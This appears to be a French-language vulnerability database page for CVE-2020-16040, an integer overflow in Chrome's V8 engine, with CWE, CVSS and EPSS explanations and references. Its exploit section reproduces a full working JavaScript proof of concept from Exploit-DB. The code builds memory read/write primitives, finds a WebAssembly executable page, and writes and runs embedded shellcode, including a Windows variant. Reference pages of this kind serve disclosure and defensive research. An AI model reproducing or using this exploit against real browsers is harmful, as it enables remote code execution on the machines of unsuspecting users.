CVE-2020-16040 : Détail

CVE-2020-16040

6.5
/
Moyen
Overflow
A03-Injection
78.67%V4
Network
2021-01-08
16h54 +00:00
2021-04-09
16h06 +00:00
CVE.org
NVD
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Descriptions du CVE

Insufficient data validation in V8 in Google Chrome prior to 87.0.4280.88 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-190 Integer Overflow or Wraparound
The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 49745

Date de publication : 2021-04-05 22h00 +00:00
Auteur : r4j0x00
EDB Vérifié : No

# Exploit Title: Google Chrome 86.0.4240 V8 - Remote Code Execution # Exploit Author: r4j0x00 # Version: < 87.0.4280.88 # Description: Insufficient data validation in V8 in Google Chrome prior to 87.0.4280.88 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. # CVE: CVE-2020-16040 /* BSD 2-Clause License Copyright (c) 2021, rajvardhan agarwal All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ // Reference: https://faraz.faith/2021-01-07-cve-2020-16040-analysis/ var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]) var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; var buf = new ArrayBuffer(8); var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); let buf2 = new ArrayBuffer(0x150); function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); } function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; } function foo(a) { var y = 0x7fffffff; if (a == NaN) y = NaN; if (a) y = -1; let z = y + 1; z >>= 31; z = 0x80000000 - Math.sign(z|1); if(a) z = 0; var arr = new Array(0-Math.sign(z)); arr.shift(); var cor = [1.1, 1.2, 1.3]; return [arr, cor]; } for(var i=0;i<0x3000;++i) foo(true); var x = foo(false); var arr = x[0]; var cor = x[1]; const idx = 6; arr[idx+10] = 0x4242; function addrof(k) { arr[idx+1] = k; return ftoi(cor[0]) & 0xffffffffn; } function fakeobj(k) { cor[0] = itof(k); return arr[idx+1]; } var float_array_map = ftoi(cor[3]); var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4]; var fake = fakeobj(addrof(arr2) + 0x20n); function arbread(addr) { if (addr % 2n == 0) { addr += 1n; } arr2[1] = itof((2n << 32n) + addr - 8n); return (fake[0]); } function arbwrite(addr, val) { if (addr % 2n == 0) { addr += 1n; } arr2[1] = itof((2n << 32n) + addr - 8n); fake[0] = itof(BigInt(val)); } function copy_shellcode(addr, shellcode) { let dataview = new DataView(buf2); let buf_addr = addrof(buf2); let backing_store_addr = buf_addr + 0x14n; arbwrite(backing_store_addr, addr); for (let i = 0; i < shellcode.length; i++) { dataview.setUint32(4*i, shellcode[i], true); } } var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n)); console.log("[+] Address of rwx page: " + rwx_page_addr.toString(16)); var shellcode = [16889928,16843009,1213202689,1652108984,23227744,70338561,800606244,796029813,1349413218,1760004424,16855099,19149953,1208025345,1397310648,1497451600,3526447165,1510500946,1390543176,1222805832,16843192,16843009,3091746817,1617066286,16867949,604254536,1966061640,1647276659,827354729,141186806,3858843742,3867756630,257440618,2425393157]; /*var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957]; */ // windows shellcode copy_shellcode(rwx_page_addr, shellcode); f();

Products Mentioned

Configuraton 0

Google>>Chrome >> Version To (excluding) 87.0.4280.88

Références

https://crbug.com/1150649
Tags : x_refsource_MISC